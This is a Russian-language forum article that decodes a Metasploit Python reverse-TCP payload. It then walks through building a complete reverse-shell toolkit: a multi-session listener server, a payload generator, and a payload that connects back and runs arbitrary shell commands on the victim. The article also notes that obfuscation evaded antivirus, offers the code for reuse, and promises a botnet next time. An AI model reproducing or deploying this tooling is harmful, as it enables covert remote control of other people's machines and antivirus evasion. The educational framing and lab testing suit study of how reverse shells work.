Proxy n1nja
Green Team
- 28.06.2018
- 119
- 148
Предисловие
Доброго времени суток, коллеги, сегодня хотелось бы поговорить с вами на тему того, как же работает Handler Metaspolit'a, что генерирует msfenom для python и почему эти payload'ы детектятся.
На написание данной статьи меня подвигли очень часто встречающиеся как и на форуме, так и в личных сообщениях вопросы по типу "как закриптовать payload?", "почему антивирусник ругается на сгенерированный файл" и все в таком духе.
Если честно до этого момента я не очень-то и пользовался автоматически сгенерированными payload'ами и понятия не имею что внутри них происходит, но давайте разбираться вместе.
Для этого нам понадобится:
- Установленный Metasploit, как его поставить на свой компьютер можете почитать тут, а статья по установке Metasploit на телефон находиться здесь.
- Python 3.6 или версии выше, скачать и установить можете с официального сайта.
- Исследовательский интерес ко всему происходящему.
Акт I - зрим в корень
В первую очередь давайте сгенерируем сам payload при помощи команды:
Bash:
msfvenom -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 > ~/payload.py
Код:
nano payload.py
Python:
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9')
exec() динамически исполняет переданный в него код, если вызван без аргументов то возвращает False Более подробно можете почитать тут
Python:
import base64
text = 'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9'
decode_text = base64.b64decode(text)
print(decode_text.decode(encoding='utf-8'))
Python:
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('127.0.0.1',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s}
Как нам становиться ясно, в выше переведенном коде происходит импорт трех стандартных модулей:
socket - для использования как ни странно сокетов, struct для работы с многобайтовыми типами данных и time - модуль для работы со временем.
Далее объявляется цикл с десятью итерациями, где в каждой итерации происходит попытка установить соединение по TCP/IP с IP адресом 127.0.0.1 через 4444 порт и если удачно то цикл прерывается, а если нет, то происходит пяти секундный таймаут и запускается новая итерация. Кстати, не совсем понятно для чего нужна именно библиотека TIME ведь в классе socket из модуля socket есть метод settimeout() для этих целей. Но да ладно, далее по коду, если попытка соединения была удачной, то идет ожидание данных от сервера которые в свою очередь обрабатываются через модуль struct и передаются в exec() .
Рассмотрев этот код, мы должны понять, что сам payload вряд-ли представляет интерес для антивирусного ПО, ибо в нем нет ничего криминального.
Наверное, дело как раз в том коде, который посылает payload'у сервер.
Пора глянуть что же там. Для этого запустим handler msf с ожиданием полезной нагрузки python/meterpreter/reverse_tcp следующей командой:
Bash:
sudo msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD python/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST {ip адресс handler'а}
msf5 exploit(multi/handler) > set LPORT {незанятый порт который будт слушать handler}
msf5 exploit(multi/handler) > run
Python:
pip install pwntools
Python:
import pwn
s = pwn.connect(str"{ip адресс handler'а}", int(порт который слушает handler))
s.interactive()
Более подробно с библиотекой можно ознакомиться тут. Запускаем и смотрим. Вот что мы получили в результате:
1400 строк кода, вот, что прислал нам Msf Handler, в этой статье мы не будем анализировать этот код, но если вам интересно сделать это самостоятельно, то оставляю вам ссылку на код. Загрузил его на пастебин для вашего удобства.
Теперь проверим, что думают антивирусники по этому поводу:
Сказать честно, очень удивлен, что детект настолько низкий, так же я посмотрел как работают другие reverse tcp payload'ы и все оказалось то же самое.
Payload открывает соединение, принимает основной код и выполняет его. Так же я в качестве эксперимента, обфусцировал возвращаемый Hendler'oм код при помощи библиотеки pyminifier и получил вот такой результат сканирования на virustotal:
Мой касперский при запуске обфускцированого кода тоже не стал ругаться. И если вам по какой-то причине очень сильно хочется использовать сгенерериованые msfvenom'oм полезные нагрузки, в тоже время у вас нет желания, чтобы они детектились антивирусами при сигнатурном анализе, вы можете модефицировать файл с полезной нагрузкой таким образом, что бы он не сразу выполнял код который присылает handler, а сначала шифровал этот код, но как это сделать, в другой раз, ведь сейчас мы переходим к той части статьи, ради которой она и задумывалась. А именно, мы приступаем к разработке собственного инструментария !
АКТ II - что нам стоит remote shell построить
В этой части статьи перед нами стоит цель написать свой генератор полезных нагрузок, сервер который будет отвечать за то, чтобы принимать подключения и отсылать наши команды удаленному хосту, ну и собственно сам payload, используя только стандартные библиотеки. Как итог у нас будет три файла:
server.py, generator.py и payload.py
С файлами разобрались и я предлагаю вам начать разработку с главного, а именно с сервера, постараемся определиться с архитектурой и учесть некоторые моменты которые связанные с клиент-серверными приложениями.
Мы будем использовать парадигму ООП, но даже если вы не знакомы с таким понятием, по ходу дела я постараюсь объяснить вам все, максимально доступным образом.
На этот раз классов у нас будет всего 3 это:
- Class Server - отвечающий за то что бы ожидать соединения и добавлять новые сессии в список.
- Class HandlerCommand- который будет отвечать за логику общения с удаленным хостом.
- Class RunProgram - который будет отвечать за создание объектов других классов и вывода некоторых методов в отдельные фоновые потоки.
Server.py
Объявляем первый класс Server и метод конструктора класса __init__:
Python:
class Server:
def __init__(self, ip: str, port: int, max_connect: int):
self.__server_ip = ip
self.__server_port = port
self.__server_max_connect = max_connect
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.clients_list = {}
self.__clients_counter = 0
self.run = True
Двойное подчеркивание "__" перед именем переменной означает то, что эта переменная будет приватной и к ней будет нельзя обратиться за пределами этого класса, я решил это сделать по той причине, что если кому-то из вас захочется доработать функционал других классов, например, HandlerCommand, вы случайно ничего не сломали в классе Server. Так же в классе Server мы объявляем некоторые свойства, socket для работы с сокетом, client_list - куда мы будем складывать список сессий и счетчик клиентов, для того что бы давать уникальные имена установленным подключениям.
Первый метод будет у нас очень простым:
Python:
def start_server(self) -> str:
self.socket.bind((self.__server_ip, self.__server_port))
self.socket.listen(self.__server_max_connect)
return f'[*] server is running on ip {self.__server_ip} and port {self.__server_port}'
Второй метод класса:
Python:
def waiting_connection(self):
while self.run:
__client_connect, __client_data = self.socket.accept()
print(f'[+] Created a session with {__client_data[0]} \n')
__client_connect.settimeout(10)
self.append_clients_list(__client_connect, __client_data)
Если подключение произошло, метод выводит на печать в консоль сообщение что создана новая сессия, затем устанавливает таймаут в 10 секунд для нового клиента, это будет использоваться в тех случаях, когда сервер отправит клиенту какую-то информацию, если в течении этих 10 секунд не получит ответа то вернет нам timeout error. Далее этот метод передает нашему следующему методу в качестве аргументов значение переменных __client_connect и __client_data.
Метод номер три, последний метод этого класса:
Python:
def append_clients_list(self, client_connect: object, client_data: list):
self.__clients_counter += 1
self.clients_list[f'session {self.__clients_counter}'] = {'session name': f'session {self.__clients_counter}',
'ip': client_data[0],
'socket id': client_data[1],
'client connect': client_connect}
И пробуем подключиться к серверу:
Как вы видите, подключение произошло, сервер выдал нам на печать об этом уведомление и все работает.
Так же в дальнейшем вы можете использовать этот класс в своих клиент серверных приложениях, но учтите, для "боевых" задач, ему необходимо будет добавить еще методов например таких как остановка сервера, перезапуск сервера и всевозможные обработчики исключений которые могут произойти.
Пришло время для второго класса HandlerCommand, как мы помним он у нас для работы с активными сессиями. Пора объявить его а так же метод конструктора класса __init__:
Python:
class HandlerCommand:
def __init__(self):
self.set_command = ''
self.clients_list = programm.new_server.clients_list
Python:
def choice_command(self):
self.set_command = input('$: ')
print(self.process_command(command=self.set_command))
А вот второй метод этого класса, как раз и будет нашим обработчиком введенных оператором комманд:
Python:
def process_command(self, command: str = 'help') -> str:
result_command = None
if command.lower() == 'list' or command.lower() == 'sessions':
result_command = self.get_active_sessions()
elif len(command.split(' ')) == 2 and command.lower().split(' ')[0] == 'get' and command.split(' ')[1].isdigit():
self.get_shell_sessions(command.split(' ')[1])
elif command.lower() == 'help':
result_command = """Commands:
list or sessions - displays a list of active connections.
get {session number} - returns remote access over the session of the corresponding number.
help - displays this information.
"""
else:
result_command = '[!] Command not found ! Enter "help" to get a list of all commands.'
return result_command
Первое условие очень простое, если в качестве аргумента этот метод принял строку "list" или "sessions", то он обращается к методу get_active_sessions, его мы напишем следующим. Вторая проверка условий работает так - если переданный аргумент состоит из двух частей и первая часть равна строке get а вторая часть состоит только из цифр то обращаемся к методу get_shell_sessions передавая ему в качестве аргумента именно вторую часть, которая состоит из цифр. Когда мы реализуем метод получения шелла сессий, все станет чуть более понятно. Ну и третья проверка - если в качестве аргумента была передана строка "help" возвращаем описание по имеющимся командам.
Если не одно из условий не сработало, говорим оператору что его команда не найдена и он может воспользоваться help'ом, дабы получить весь список команд. В дальнейшем вы сможете реализовать более обширный функционал дописав свои методы и обработчики для команд.
Следующий у нас на очереди метод get_active_sessions:
Python:
def get_active_sessions(self) -> str:
__list_active_session = []
try:
for client in self.clients_list:
try:
self.clients_list.get(client).get('client connect').send(bytes('beacon', encoding='utf-8'))
__list_active_session.append(self.clients_list.get(client).get('session name'))
except ConnectionAbortedError:
self.clients_list.pop(client)
continue
except ConnectionResetError:
self.clients_list.pop(client)
continue
except RuntimeError:
pass
result = '-------- ACTIVE SESSIONS --------' + '\n' + ' '.join(__list_active_session)
return result
Так вот, после отправки нами сообщения мы смотрим, было ли оно доставлено и если все так, добавим имя клиента который активен в массив __list_active_session, а дальше обрабатываем исключения таким образом, что если по каким-то причинам соединение с клиентом было разорвано, то такого клиента мы удаляем из clients_list, дабы в дальнейшем к нему не пытаться обращаться в нашем цикле.
Если по какой-то причине (как было замечено, такое происходит когда клиент отключается во время проверки активных сессий) мы выйдем за приделы списка, то просто ничего не делаем и переходим к тому, чтобы вернуть строку, в которой будут все наши активные клиенты. Надеюсь, это все не очень сложно и вы понимаете, что происходит в данном коде. Следом давайте запустим наш сервер и попробуем подключить несколько клиентов, получить список активных сессий, отключить некоторых из клиентов и получить новый список.
Думаю на скриншотах видно, что мы с успехом получаем активные в данный момент сессии. Теперь перейдем к написанию последнего метода для этого класcа get_shell_sessions:
Python:
def get_shell_sessions(self, session_number):
while True:
shell_command = input(r'command: ')
if shell_command.lower() == 'q' or shell_command.lower() == 'quit':
self.choice_command()
break
else:
self.clients_list.get(f'session {session_number}').get('client connect').send(bytes(shell_command, encoding='utf-8'))
try:
result_shell_command = self.clients_list.get(f'session {session_number}').get('client connect').recv(1024)
except socket.timeout:
print('[!] Command failed. Time out.')
continue
except ConnectionAbortedError:
self.choice_command()
break
try:
result_shell_command = result_shell_command.decode(encoding='utf-8')
except UnicodeDecodeError:
result_shell_command = result_shell_command.decode(encoding='windows-1251')
print(result_shell_command)
Здесь на вход мы принимаем, что один аргумент, который нам должен был послать обработчик команд, что мы разбирали выше. Далее в бесконечном цикле мы предоставляем оператору возможность ввода команд для конкретной сессии, если веденная команда будет равна "q" или "quit" - нас вернет к методу в котором мы могли смотреть список сессий и выбирать их для получения шелла.
В ином случае введенная оператором команда будет передана к удаленному клиенту. Далее мы ожидаем ответ о выполнении команды и, если в течении десяти секунд ответ получен не будет (длительного ожидания ответа, как вы помните, мы задавали в методе waiting_connection, который имеет пренадлежность классу Server вот в этой переменной __client_connect.settimeout(10)), то мы сообщим что время ожидания вышло, если по какой то причине соединение будет разорвано, мы так же вернемся к выбору сессий.
И в последнем блоке мы пытаемся расшифровать байтовый ответ от клиента под кодировку utf-8 и если это не получается, делаем это под кодировку windows-1251, это реализовано так, потому что на машинах в которых установлен русский язык - вывод консоли возвращается именно в этой кодировке.
На этом описание данного класса закончено. Остался последний класс RunProgram, объявляем его и метод конструктора __init__:
Python:
class RunProgram:
def __init__(self, ip_address, port_number):
self.new_server = Server(ip=ip_address, port=port_number, max_connect=10)
self.run_background_listener = threading.Thread(target=self.new_server.waiting_connection)
У этого класса будет всего один метод и вот он:
Python:
def main(self):
print(self.new_server.start_server())
self.run_background_listener.start()
self.run_background_listener.daemon
И запускаем наш сервер вот так:
Код:
if __name__ == '__main__':
programm = RunProgram(ip_address='172.18.12.13', port_number=4545)
programm.main()
handler = HandlerCommand()
while True:
handler.choice_command()
с файлом Server.py мы закончили и большая часть работы уже завершена. Но мы с вами еще вернемся к нему после того как напишем генератор и сам пайлоад.
Generator.py
Тут не будет ничего сложного и страшного нам понадобиться всего одна библиотека argparse, файл generator.py будет для понимания легче, чем server.py и состоять будет только из одного класса, так что давайте не будем медлить и объявим его и такой уже родной, метод конструктора класса:
Python:
class GeneratorPayload:
def __init__(self):
self.user_settings = argparse.ArgumentParser(description='Instructions for using the program')
self.user_settings.add_argument('-LHOST', default=str('"127.0.0.1"'), nargs='?', help='ip address your listener')
self.user_settings.add_argument('-LPORT', default=int(4444), nargs='?', help='port number your listener')
self.user_settings.add_argument('-NAME', default=str('payload.py'), nargs='?', help='name your payload')
self.payload_settings = self.user_settings.parse_args()
Python:
def generate_payload(self):
payload = f'''
import socket
LHOST: str = {self.payload_settings.LHOST}
LPORT: int = {self.payload_settings.LPORT}
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
exec(s.recv(4096).decode(encoding='utf-8'))
'''
self.save_payload(payload)
Дописывает последний метод:
Python:
def save_payload(self, configured_payload):
output_file = open(self.payload_settings.NAME, 'w')
output_file.write(configured_payload)
output_file.close()
Все получилось так как мы и задумывали, полезная нагрузка сгенерирована с теме парамтрами которые мы и указали.
Payload.py
Пару слов о созданной нами нагрузке думаю все же нужно сказать, хоть ее код и будет для большинства очень очевиден:
Python:
import socket
LHOST: str = "172.18.12.13"
LPORT: int = 4545
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
exec(s.recv(4096).decode(encoding='utf-8'))
Предвижу очевидный вопрос, какой код ? Мы же ничего такого в файле server.py не писали ? Да, это верно, но так же я и говорил, что мы вернемся еще к редактированию файла server.py.
Я решил вынести код который будет передаваться нашей полезной нагрузке именно в этот блок статьи, так как он выполняется все же в payload.py и дабы не захламлять кодом и без того большой файл. Сейчас нам необходимо вернуться к методу waiting_connection класса Server который мы описали в файле server.py и в этом методе после строки № 4 ( __client_connect.settimeout(10) ) следует добавить вот такой код:
Python:
__client_connect.send(bytes(payload_output_server, encoding='utf-8'))
Python:
payload_output_server = """
import os
import subprocess
while True:
try:
a = s.recv(4096)
except ConnectionResetError:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
a = s.recv(4096)
a = a.decode(encoding='utf-8')
command = a
if command.lower() == 'beacon':
continue
try:
if command.lower().split(' ')[0] == 'cd':
os.chdir(command.split(' ')[1])
except IndexError:
pass
except FileNotFoundError:
s.send(bytes(f"[!] The system cannot find the path specified: {command.split(' ')[1]}", encoding='utf-8'))
continue
except PermissionError:
s.send(bytes(f"[!] Access denied: {command.split(' ')[1]}", encoding='utf-8'))
if len(command) > 0:
a = subprocess.Popen(command[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
out_bit = a.stdout.read() + a.stderr.read()
try:
convert_out_bit_str = out_bit.decode(encoding='utf-8')
except UnicodeDecodeError:
convert_out_bit_str = out_bit.decode(encoding='windows-1251')
s.send(bytes(convert_out_bit_str, encoding='utf-8'))
else:
continue
"""
АКТ III - один раз напиши, семь раз потесть
С программированием на сегодня все, было больно, но, надеюсь, вы справились и поняли, что и как работает в коде, который представлен выше. Теперь пришло время для проведения лабораторных тестов того чуда которое мы с вами создали.
Давайте условимся так:
- В качестве сервера будет выступать машина на Kali linux с ip 172.18.12.12
- В качестве жертвы № 1 машина на Windows 10, с корпоративным касперским на борту, которая имеет ip 172.18.12.13
- В качестве жертвы № 2 будет машина под управлением Astra Linux с ip адресом ip 172.18.12.61
Теперь запустим на Astra Linux
Давайте попробуем ввести несколько комманд и посмотреть как это отработает.
Как видим, команды выполняются, ответ от cli удаленного клиента приходит и все у нас получилось как и было задумано. На этом тесты завершаем.
Послесловие
Спасибо вам, если дочитали до этого момента, статья получилась обширной и немного сумбурной, но в свое оправдание скажу, что никогда не занимался написанием подобного. Этим материалом я хотел немного расширить ваше понимание того, как работает обратное подключение и handler Metasploit Framework. Надеюсь, вам было интересно и вы узнали для себя что-то новое. Исходный код я прикреплю к статье в виде архива, вы можете использовать его и модифицировать по своему усмотрению. Если статья наберет много лайкосиков, то в следующий раз напишем с вами полноценный ботнет на каком-нибудь асинхронном фреймворке с gui панелью управлений и прочими плюшками. А на сегодня всё. Всем удачи и пишите комментарии.
Вложения
Последнее редактирование модератором: